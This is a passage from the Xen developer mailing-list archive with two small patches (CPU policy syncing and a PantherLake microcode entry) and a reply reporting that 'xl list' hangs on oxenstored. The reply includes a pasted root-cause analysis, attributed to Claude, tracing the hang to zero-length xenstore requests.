 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c201ff/1783522544-17B192B8-0BD7AB3F/10/73395122804
X-purgate-type: spam
X-purgate-size: 3498

In order to use cpu_has_* expanding to host_cpu_policy.*, the host policy
needs setting up alongside boot_cpu_data.x86_capability[]. Arrange for
that towards the end of identify_cpu(). Then make sure .x86_capability[]
and host policy remain in sync when setup_{force,clear}_cpu_cap() are
used.

Rename the function now it's no longer static.

Fixes: 894bd7617924 ("x86/Intel: use host CPU policy for ARAT checking")
Reported-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
Signed-off-by: Jan Beulich <jbeulich@suse.com>
Release-Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
This really was part of one of the XSTATE cleanup patches at the head of
the AMX series. This explains the specific placement ahead of the call to
xstate_init()). Likely anything from there downwards shouldn't really
live in identify_cpu() anyway.
---
v3: Make call from setup_force_cpu_cap() conditional.
v2: Call calculate_host_cpu_policy() from setup_{force,clear}_cpu_cap()
    instead of from init_guest_cpu_policies().

--- a/xen/arch/x86/cpu/common.c
+++ b/xen/arch/x86/cpu/common.c
@@ -66,8 +66,10 @@ void __init setup_clear_cpu_cap(unsigned
 	__clear_bit(cap, boot_cpu_data.x86_capability);
 	dfs = x86_cpu_policy_lookup_deep_deps(cap);
 
-	if (!dfs)
+	if (!dfs) {
+		calculate_host_cpu_policy();
 		return;
+	}
 
 	for (i = 0; i < FSCAPINTS; ++i) {
 		cleared_caps[i] |= dfs[i];
@@ -78,6 +80,8 @@ void __init setup_clear_cpu_cap(unsigned
 		       __builtin_return_address(0),
 		       i, forced_caps[i] & dfs[i]);
 	}
+
+	calculate_host_cpu_policy();
 }
 
 void __init setup_force_cpu_cap(unsigned int cap)
@@ -92,6 +96,10 @@ void __init setup_force_cpu_cap(unsigned
 	}
 
 	__set_bit(cap, boot_cpu_data.x86_capability);
+
+	/* Don't recalculate when the bit isn't represented in the policy. */
+	if (cap < FSCAPINTS * 32)
+		calculate_host_cpu_policy();
 }
 
 bool __init is_forced_cpu_cap(unsigned int cap)
@@ -586,6 +594,8 @@ void identify_cpu(struct cpuinfo_x86 *c)
 	}
 
 	/* Now the feature flags better reflect actual CPU features! */
+	if (c == &boot_cpu_data)
+		calculate_host_cpu_policy();
 
 	xstate_init(c);
 
--- a/xen/arch/x86/cpu-policy.c
+++ b/xen/arch/x86/cpu-policy.c
@@ -359,11 +359,18 @@ void calculate_raw_cpu_policy(void)
     /* Was already added by probe_cpuid_faulting() */
 }
 
-static void __init calculate_host_policy(void)
+void __init calculate_host_cpu_policy(void)
 {
     struct cpu_policy *p = &host_cpu_policy;
     unsigned int max_extd_leaf;
 
+    /*
+     * Bail if the raw policy wasn't set up yet. At least recalculate_xstate()
+     * can't be used yet in that case.
+     */
+    if ( !raw_cpu_policy.basic.max_leaf )
+        return;
+
     *p = raw_cpu_policy;
 
     p->basic.max_leaf =
@@ -904,8 +911,6 @@ static void __init calculate_hvm_def_pol
 
 void __init init_guest_cpu_policies(void)
 {
-    calculate_host_policy();
-
     if ( IS_ENABLED(CONFIG_PV) )
     {
         calculate_pv_max_policy();
--- a/xen/arch/x86/include/asm/cpu-policy.h
+++ b/xen/arch/x86/include/asm/cpu-policy.h
@@ -30,4 +30,10 @@ void recalculate_cpuid_policy(struct dom
  */
 void calculate_raw_cpu_policy(void);
 
+/*
+ * Collect the host CPU policy.  Called after collecting enough CPUID output,
+ * and again after all feature overrides have been put in place.
+ */
+void calculate_host_cpu_policy(void);
+
 #endif /* X86_CPU_POLICY_H */


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 14:56:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 14:56:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357141.1611632 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whThM-0008Rg-UO; Wed, 08 Jul 2026 14:56:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357141.1611632; Wed, 08 Jul 2026 14:56:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whThM-0008RZ-Rk; Wed, 08 Jul 2026 14:56:28 +0000
Received: by outflank-mailman (input) for mailman id 1357141;
 Wed, 08 Jul 2026 14:56:27 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper3@citrix.com>) id 1whThL-0008RP-Kd
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 14:56:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whThL-000TdA-1C
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 16:56:27 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a4e650d-e002-0a2a0a5209dd-0a2a4502cf7c-30
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 16:56:26 +0200
Received: from [209.85.128.48] (helo=mail-wm1-f48.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a4e651a-5a27-0a2a45020019-d1558030a8fc-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 16:56:26 +0200
Received: by mail-wm1-f48.google.com with SMTP id
 5b1f17b1804b1-493b27c7451so22114645e9.0
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 07:56:26 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e544837dsm56580655e9.0.2026.07.08.07.56.24
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Wed, 08 Jul 2026 07:56:24 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1783522586; x=1784127386; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=mv/jtJ1SDZHfc0ENW2uPRf1DZwsBf/wZOyN1L9JO1gs=;
        b=YowQNT3i3A4qdoAZK0aQbfKe61givnScjJ/xTqQqbz/lRCGeshNk9QCWH4p8xv2qWR
         UKxkpl74jzX6woBXvBhXHdgAeQ0uUuyX465h9BmHsMwwWkTQ/bL6s5uFb9+ZQMHBYlX3
         Ew7mdsLLC3NNMv3JEAR7ELNWzXj6fgyCAB5cc=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783522586; x=1784127386;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=mv/jtJ1SDZHfc0ENW2uPRf1DZwsBf/wZOyN1L9JO1gs=;
        b=JEdmTwNaoIHvgMzqYfOKgBoP3MbyNNGvxv8CzfZ7kPucdvMSoMWGMAsEaLI+EdVg6t
         lbAZ9LvLe1exzwCH35vUaMH1cBExO4dliJqhACtmm6wU6/MSaUjDihSVL1TtILnWg+kO
         sl1AbA7XVTO4SIZYb3n9CwGrHOaLrwLhwtdqnO6GhOs5WV6+ReEYssOgWyOjF6zGWjMx
         K8bB3XQznV2Iaj7yUjnHmdCx+ZNsnsYQJm/2k5G5PwzZp9LJAr7ULakm9jHVdVucAfj7
         bl7rLRKcQRdtp+h2fAq69899jRd9HFGU1mGpF8T6uLxVkns6AwLJT2rYb6WSHGBcMCYR
         p/9g==
X-Gm-Message-State: AOJu0Yyw/oR38i6elt9zxXjyLKfFPtMvCYiC4xPB+Ldz36oBY7bBNIR1
	vLJlET3X1NvltHiImxQz5i871yNwSCSZb932oxx2ZsSUDNu/DyT544TwpC0SoRUBMDWnT3dgoNC
	AAtSh
X-Gm-Gg: AfdE7cn8M889AuuPtAQmuO4pj8gQKKv0/J2wPWFV1K+OtkahiL/zFs3uiqUOZVTUmRX
	ve2pN3H7jp76Zjugvsm0wmF8LYiTUEytH94A68LHjXPkfgOa+iOFl5jDqZL+2JMtpjMXXJ3ea4H
	sNLgH6H5uEhZmzkPydPH1AfvqYs38ZxDs0eTWq5B41N2m+mo7A76uyK8NeM27zJhOhrzQ6uBP7e
	OGRhBA+vf8ueH4j1T7t4sB1qk0zHbwquUEQq+8DhFtVqYGQgQ4JPcy96/5BvJDr9/+dJCPEjk9o
	MUSME2s41b/61/AGF09QGx5i6BF6Q4H5U/PpdeA9jlxFJhexPEnwq6nWelcol+W442hHHUAykfQ
	QGBFwr/JsEa8JiycI8nkAH5kPNYVKDImnRSYCifnX1tvySNI72xYNRQJixfna852hgXWs1P8TIK
	wOG1Oyrt8jpgbt3nih/GlMlPF4vs9FsOnIeHYogAQYOyJ539pE2uIb+SBn26E0YLg=
X-Received: by 2002:a05:600c:3f0f:b0:493:b698:9247 with SMTP id 5b1f17b1804b1-493e639ac57mr30954645e9.14.1783522585396;
        Wed, 08 Jul 2026 07:56:25 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Michal Orzel <michal.orzel@amd.com>,
	Doug Goldstein <cardoe@cardoe.com>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
Subject: [PATCH TEST-ARTEFACTS] Add PantherLake microcode
Date: Wed,  8 Jul 2026 15:56:23 +0100
Message-Id: <20260708145623.1441067-1-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-720697/1783522586-4C13A7C5-F01DA4AC/0/0
X-purgate-type: clean
X-purgate-size: 834

Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
CC: Anthony PERARD <anthony.perard@vates.tech>
CC: Stefano Stabellini <sstabellini@kernel.org>
CC: Michal Orzel <michal.orzel@amd.com>
CC: Doug Goldstein <cardoe@cardoe.com>
CC: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
---
 scripts/x86-microcode.sh | 1 +
 1 file changed, 1 insertion(+)

diff --git a/scripts/x86-microcode.sh b/scripts/x86-microcode.sh
index cb55a3bd2d52..7442e0ae9671 100755
--- a/scripts/x86-microcode.sh
+++ b/scripts/x86-microcode.sh
@@ -21,6 +21,7 @@ tar xf intel-latest.tar --strip-components=1
     cd intel-ucode
     cat 06-97-02 # adl-*
     cat 06-8e-09 # kbl-*
+    cat 06-cc-03 # ptl-*
 ) > "${UCODEDIR}/GenuineIntel.bin"
 
 #

base-commit: fe26bfd25cf09cd5ad11ecdf69699d3dde2c865d
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 15:01:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 15:01:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357155.1611644 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whTlz-0001pj-JH; Wed, 08 Jul 2026 15:01:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357155.1611644; Wed, 08 Jul 2026 15:01:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whTlz-0001pb-Fi; Wed, 08 Jul 2026 15:01:15 +0000
Received: by outflank-mailman (input) for mailman id 1357155;
 Wed, 08 Jul 2026 15:01:14 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dunlapg@umich.edu>) id 1whTlx-0001pV-Ue
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 15:01:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whTlx-000PPs-Ax
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 17:01:13 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dunlapg@umich.edu>)
 id 6a4e6637-e002-0a2a0a5209dd-0a2a4507d648-4
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 17:01:12 +0200
Received: from [18.216.144.57] (helo=yurei.relay-egress.a.mail.umich.edu)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dunlapg@umich.edu>)
 id 6a4e6635-9c8e-0a2a45070019-12d89039ad80-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 17:01:10 +0200
Received: from boss-fomorian.authn-relay.a.mail.umich.edu
 (ip-10-0-72-25.us-east-2.compute.internal [10.0.72.25])
 by yurei.relay-egress.a.mail.umich.edu with ESMTPS
 id 6A4E6635.1DE5437F.69E3C8C5.276198; Wed, 08 Jul 2026 11:01:09 -0400
Received: from mail-lj1-f182.google.com (mail-lj1-f182.google.com
 [209.85.208.182])
 by boss-fomorian.authn-relay.a.mail.umich.edu with ESMTPSA
 id 6A4E6634.2526BBC0.4D6D1869.1910731;
 Wed, 08 Jul 2026 11:01:08 -0400
Received: by mail-lj1-f182.google.com with SMTP id
 38308e7fff4ca-39c7225e58bso5170811fa.1
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 08:01:08 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=relay-2 header.d=umich.edu header.i="@umich.edu" header.h="References:In-Reply-To:From:Date:Subject:To:Cc"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=umich.edu;
	s=relay-2; t=1783522869;
	bh=sMpkM0ytfwnpbpljagJm57/r0iJEepO5ds9cqhA3lBw=;
	h=References:In-Reply-To:From:Date:Subject:To:Cc;
	b=juMh2Fa5OpY+301eqEJHSGGCZqkfrYP6EzktGhgyLwthJCv+QItgfT1NQlSpWh08a
	 teNmgnVnRf3cbF4RNU7U1HnYoIXRIMb7s+7ldJtNxdkA4vJb6sgYlJBsKTsK1gy1xf
	 sgcecTHNXue8WQp0AfpgAQCuYXcYW7wMILdGi7dl81qu9UkLPHS6UZy2hEDwCn9+df
	 ZYHYipFI9nXoMckUiCC9zupSVmXgishFesBpRS0cdSm46V/UaRxzjZQnOWWDMxc6sz
	 UqH3sVYagt+Tp9fkmrnFeM8EFVdRh0hFhZOsgVzjXfqogsSn0GOElv4ZCjryOuBO23
	 mZQstVR1Tv6/A==
Authentication-Results: boss-fomorian.authn-relay.a.mail.umich.edu; 
	iprev=pass policy.iprev=209.85.208.182 (mail-lj1-f182.google.com);
	auth=pass smtp.auth=dunlapg
X-Gm-Message-State: AOJu0Yw2AI6TlmGnslqXEUHP4VjIEoiI+NZ/hSQ6bF+IbJb/f5ycoa7p
	/aa/wWqntqCD5AOyvjqGre+HYOr08oairQIC8soeuGf8DCMS/AO2TlSFs9vgk2kIxTaCd4/d8Nk
	dglkmne/pdEjH+o0uuLH8S1xVH+eexew=
X-Received: by 2002:a05:651c:546:b0:393:d706:7bc with SMTP id
 38308e7fff4ca-39c79753da2mr6765471fa.0.1783522864664; Wed, 08 Jul 2026
 08:01:04 -0700 (PDT)
MIME-Version: 1.0
References: <20260320150120.874878-1-jgross@suse.com> <20260320150120.874878-11-jgross@suse.com>
In-Reply-To: <20260320150120.874878-11-jgross@suse.com>
From: George Dunlap <dunlapg@umich.edu>
Date: Wed, 8 Jul 2026 16:00:52 +0100
X-Gmail-Original-Message-ID: <CAFLBxZaeTMcF4tcV45MJdCVx4A6qbzQdjKei_Quh_iLrtARVFA@mail.gmail.com>
X-Gm-Features: AVVi8CfbXPmJqExCYdicaF6wjZ7no0NWrGy8tMOaGD8pdeKNPdsYAf9WSLeQKLY
Message-ID: <CAFLBxZaeTMcF4tcV45MJdCVx4A6qbzQdjKei_Quh_iLrtARVFA@mail.gmail.com>
Subject: Re: [PATCH v2 10/12] tools/libxl: add support for xenstore quota in domain_config
To: Juergen Gross <jgross@suse.com>
Cc: xen-devel@lists.xenproject.org, Nick Rosbrook <enr0n@ubuntu.com>, 
	George Dunlap <gwd@xenproject.org>, Anthony PERARD <anthony.perard@vates.tech>, 
	Andrew Cooper <andrew.cooper3@citrix.com>, Andrii Sultanov <andriy.sultanov@vates.tech>, 
	Guillaume Thouvenin <guillaume.thouvenin@vates.tech>
Content-Type: multipart/alternative; boundary="000000000000cc38d906561ac626"
X-purgate-ID: tlsNG-ef75cf/1783522871-7DF2525E-58BF2B98/0/0
X-purgate-type: clean
X-purgate-size: 36160

--000000000000cc38d906561ac626
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Fri, Mar 20, 2026 at 3:02=E2=80=AFPM Juergen Gross <jgross@suse.com> wro=
te:

> Add support for xenstore quota in the struct domain_config. Initially
> it will be used only for migration of a domain.
>
> Signed-off-by: Juergen Gross <jgross@suse.com>
> Acked-by: Nick Rosbrook <enr0n@ubuntu.com> # golang stuff
> ---
> V2:
> - use LOGED() for error logging (Anthony Perard)
> - mention additional struct member xenstore_quota in libxl.h
>   (Anthony Perard)
> ---
>  tools/golang/xenlight/helpers.gen.go |  6 ++++++
>  tools/golang/xenlight/types.gen.go   |  1 +
>  tools/include/libxl.h                |  1 +
>  tools/libs/light/libxl_dom.c         |  8 ++++++++
>  tools/libs/light/libxl_domain.c      | 11 +++++++++++
>  tools/libs/light/libxl_types.idl     |  1 +
>  6 files changed, 28 insertions(+)
>
> diff --git a/tools/golang/xenlight/helpers.gen.go
> b/tools/golang/xenlight/helpers.gen.go
> index 767b9e45f5..b0c09da910 100644
> --- a/tools/golang/xenlight/helpers.gen.go
> +++ b/tools/golang/xenlight/helpers.gen.go
> @@ -1286,6 +1286,9 @@ if err :=3D
> x.TrapUnmappedAccesses.fromC(&xc.trap_unmapped_accesses);err !=3D nil {
>  return fmt.Errorf("converting field TrapUnmappedAccesses: %v", err)
>  }
>  x.XenstoreFeatureMask =3D uint32(xc.xenstore_feature_mask)
> +if err :=3D x.XenstoreQuota.fromC(&xc.xenstore_quota);err !=3D nil {
> +return fmt.Errorf("converting field XenstoreQuota: %v", err)
> +}
>
>   return nil}
>
> @@ -1825,6 +1828,9 @@ if err :=3D
> x.TrapUnmappedAccesses.toC(&xc.trap_unmapped_accesses); err !=3D nil {
>  return fmt.Errorf("converting field TrapUnmappedAccesses: %v", err)
>  }
>  xc.xenstore_feature_mask =3D C.uint32_t(x.XenstoreFeatureMask)
> +if err :=3D x.XenstoreQuota.toC(&xc.xenstore_quota); err !=3D nil {
> +return fmt.Errorf("converting field XenstoreQuota: %v", err)
> +}
>
>   return nil
>   }
> diff --git a/tools/golang/xenlight/types.gen.go
> b/tools/golang/xenlight/types.gen.go
> index 8dd610919d..e0fd78ec03 100644
> --- a/tools/golang/xenlight/types.gen.go
> +++ b/tools/golang/xenlight/types.gen.go
> @@ -629,6 +629,7 @@ VmtraceBufKb int
>  Vpmu Defbool
>  TrapUnmappedAccesses Defbool
>  XenstoreFeatureMask uint32
> +XenstoreQuota XsQuotaList
>  }
>
>  type DomainBuildInfoTypeUnion interface {
> diff --git a/tools/include/libxl.h b/tools/include/libxl.h
> index 6d2910df34..80e3ec8de9 100644
> --- a/tools/include/libxl.h
> +++ b/tools/include/libxl.h
> @@ -1545,6 +1545,7 @@ void libxl_mac_copy(libxl_ctx *ctx, libxl_mac *dst,
> const libxl_mac *src);
>   * libxl_xs_quota_global_set()
>   * libxl_xs_quota_domain_get()
>   * libxl_xs_quota_domain_set()
> + * and the xenstore_quota member of struct domain_build_info
>   * are available.
>   */
>  #define LIBXL_HAVE_XENSTORE_QUOTA
> diff --git a/tools/libs/light/libxl_dom.c b/tools/libs/light/libxl_dom.c
> index 05ebc69534..4ff5f65f6f 100644
> --- a/tools/libs/light/libxl_dom.c
> +++ b/tools/libs/light/libxl_dom.c
> @@ -509,6 +509,14 @@ retry_transaction:
>
>      xs_introduce_domain(ctx->xsh, domid, state->store_mfn,
> state->store_port);
>
> +    if (info->xenstore_quota.num_quota) {
> +        rc =3D libxl_xs_quota_domain_set(ctx, domid, &info->xenstore_quo=
ta);
> +        if (rc) {
> +            LOGED(ERROR, domid, "Failed to set Xenstore quota");
> +            goto out;
> +        }
> +    }
> +
>   out:
>      free(vm_path);
>      return rc;
> diff --git a/tools/libs/light/libxl_domain.c
> b/tools/libs/light/libxl_domain.c
> index 5be47f687f..37fcd92871 100644
> --- a/tools/libs/light/libxl_domain.c
> +++ b/tools/libs/light/libxl_domain.c
> @@ -2533,6 +2533,17 @@ static void
> retrieve_domain_configuration_end(libxl__egc *egc,
>          }
>      }
>
> +    /* Xenstore quota */
> +    {
> +        libxl_xs_quota_list_dispose(&d_config->b_info.xenstore_quota);
> +        rc =3D libxl_xs_quota_domain_get(CTX, domid,
> +                                       &d_config->b_info.xenstore_quota)=
;
> +        if (rc) {
> +            LOGED(ERROR, domid, "Fail to get xenstore quota");
> +            goto out;
> +        }
>

This change seems to cause `xl list` to hang on oxenstored systems.

I'm not an expert in ocaml; Claude seems to think that the problem is as
follows:

1. oxenstored doesn't implement XS_GET_QUOTA, and
2. when it receives an unknown message it returns an error, but
3. the error payload is length zero, and
4. oxenstored has a bug such that it will never actually send messages with
a zero-length payload.

Below is a more complete report from Claude; as I said, I don't know enough
ocaml to evaluate it. Plan `xl list` only triggers it on staging, but
apparently `xl list -x` will trigger it in Xen 4.21.

Assuming the analysis is correct, it's concerning that an issue with the
default xenstored instance wasn't caught earlier.

 -George

8<---

Subject: oxenstored hangs on any xenstore request with a zero-length payloa=
d

  Affects, on oxenstored systems:
    - `xl info -x` and `xenstore watch -d N`  -- RELEASE-4.21.0,
RELEASE-4.21.1
    - `xl list -l`, `xl save`, `xl migrate`   -- 4.22.0-rc1..rc3, unstable
  The C xenstored and xenstore-stubdom are unaffected.


Symptom
-------

On an idle dom0 with no guests, running oxenstored, `xl list -l` never
returns and produces no output. The same holds for `xl save`, `xl migrate`,
`xl info -x`, and `xenstore watch -d N`. Meanwhile `xl list`, `xl list -v`,
`xl info -n`, `xenstore-read` and `xenstore-ls` all work normally.

The client is blocked in read(fd, buf, 16) awaiting an xsd_sockmsg header
that never arrives. Both socket queues are empty. oxenstored itself remains
healthy and continues to serve every other connection.


Root cause
----------

oxenstored's socket backend never delivers a request whose payload length
is zero. This is independent of the opcode: XS_READ and XS_DIRECTORY with
len =3D=3D 0 hang exactly as XS_GET_QUOTA does.

In tools/ocaml/libs/xb/xb.ml, Xb.input() consumes the 16-byte header and
sets partial_in <- HaveHdr pkt, then returns None unconditionally:

    | NoHdr (i, buf)      ->
        (* we complete the partial header *)
        if sz > 0 then
          Bytes.blit b 0 buf (Partial.header_size () - i) sz;
        con.partial_in <- if sz =3D i then
            HaveHdr (Partial.of_string (Bytes.to_string buf)) else NoHdr (i
- sz, buf);
        None

The packet would be produced by the *next* call to input() -- the HaveHdr
branch handles Partial.to_complete =3D 0 without reading anything further.
But has_more_input is hardcoded false for socket backends:

    let has_more_input con =3D
      match con.backend with
      | Fd _            -> false
      | Xenmmap backend -> backend.work_again

so xenstored.ml re-enters do_input only when poll() reports the fd readable=
.

  - For len > 0, the payload is still buffered in the socket, so poll()
    fires again and the packet completes. This is why every other request
    works.

  - For len =3D=3D 0, nothing remains to be read. poll() never fires, and a
    fully-received request sits parked in partial_in indefinitely.

It is finally processed only when further input arrives on that connection
-- including POLLHUP at client teardown -- at which point the reply is
written to a dead socket.

oxenstored's dispatch layer is correct: XS_GET_QUOTA with a non-empty
payload returns XS_ERROR "ENOSYS" in under a millisecond. Only the framing
layer is broken.

Guest ring (Xenmmap) connections appear unaffected, since there
has_more_input follows work_again. NOTE: this is a source-level inference;
I did not exercise a ring connection with a zero-length request.


Evidence
--------

strace of oxenstored. \31 =3D 25 =3D XS_GET_QUOTA, \2 =3D XS_READ:

  # len=3D0, unknown opcode 25 -- nothing written, silence, then client EOF
  14:54:01.801066 read(23, "\31\0\0\0\336\300\0\0\0\0\0\0\0\0\0\0", 16) =3D=
 16
  14:54:06.806325 write(18, "[...]  A81 invalid", 50)   <- only at POLLHUP
  14:54:06.806811 read(23, "", 16)        =3D 0

  # len=3D0, WELL-KNOWN opcode 2 -- identical hang
  14:54:10.840293 read(23, "\2\0\0\0\336\300\0\0\0\0\0\0\0\0\0\0", 16) =3D =
16
  14:54:15.845644 read(23, "", 16)        =3D 0

  # same opcode 25, len=3D2 -- answered instantly
  14:54:19.879492 read(23, "\31\0\0\0\336\300\0\0\0\0\0\0\2\0\0\0", 16) =3D=
 16
  14:54:19.879698 read(23, "0\0", 2)      =3D 2
  14:54:19.879810 write(18, "[...] A83 invalid / error ENOSYS", ...)

The poll() following the parked read requests POLLIN only -- no POLLOUT --
i.e. oxenstored has nothing queued to send. xenstored.log contains neither
"process packet:" nor "got a bad client": process_packet is never entered.

Decisive: send the len =3D=3D 0 header, wait three seconds (nothing), then =
send
one unrelated byte. The ENOSYS reply *for the original request id* is
emitted within 1 ms. The request was never dropped -- it was parked,
waiting for a poll() that had nothing left to deliver.


Trigger
-------

libxenstore has exactly two zero-length senders, both recent. Before them,
no xenstore client had ever sent a zero-length request over the socket, so
the defect lay dormant.

  xs_get_features_supported()  XS_GET_FEATURE  tools/libs/store/xs.c:1486
      added by 5234b61eab
      in: RELEASE-4.21.0, RELEASE-4.21.1, 4.22.0-rc*, unstable
      reached by: xl info -x, xenstore watch -d N

  xs_get_quota_names()         XS_GET_QUOTA    tools/libs/store/xs.c:1537
      added by ba90589447
      in: 4.22.0-rc1..rc3, unstable
      reached by: xl list -l, xl save, xl migrate -- since a6f159f92c made
      libxl_retrieve_domain_configuration() query xenstore quota

Both are the only `struct iovec iov[1]` call sites in xs.c.


libxl is not at fault
---------------------

tools/libs/light/libxl_xsquota.c explicitly treats quota as optional:

    names =3D xs_get_quota_names(ctx->xsh, &num);
    if (!names) {
        /* Xenstore quota support is optional! */
        if (errno !=3D ENOSYS) { ... rc =3D ERROR_FAIL; }
        else                 { rc =3D 0; }

Confirmed empirically: with an LD_PRELOAD shim forcing xs_get_quota_names()
to fail with ENOSYS, against the same hanging oxenstored, `xl list -l`
returns rc=3D0 with full JSON and `xl save` writes a 2.1 GB savefile. A
xenstored that lacks opcode 25 but *answers* ENOSYS works fine. The C
xenstored answers ENOSYS to unknown opcodes at any length.


Age
---

The defect is present in oxenstored's original commit:

    c3afd398ba7f349fdf59d79aaed4da256176806a
    Keir Fraser <keir.fraser@citrix.com>, 2010-05-06
    "ocaml: Add XS bindings."

`git log -S has_more_input -- tools/ocaml/libs/xb/xb.ml` returns that commi=
t
and no other; has_more_input has never been modified. The NoHdr branch is
unchanged in substance since RELEASE-4.2.0, and
`git diff RELEASE-4.21.0 HEAD -- tools/ocaml/libs/xb/{xb,partial,op}.ml`
is empty -- the files are byte-identical.


Reproducer
----------

Attached: oxs-zerolen.c (50 lines, no dependencies).

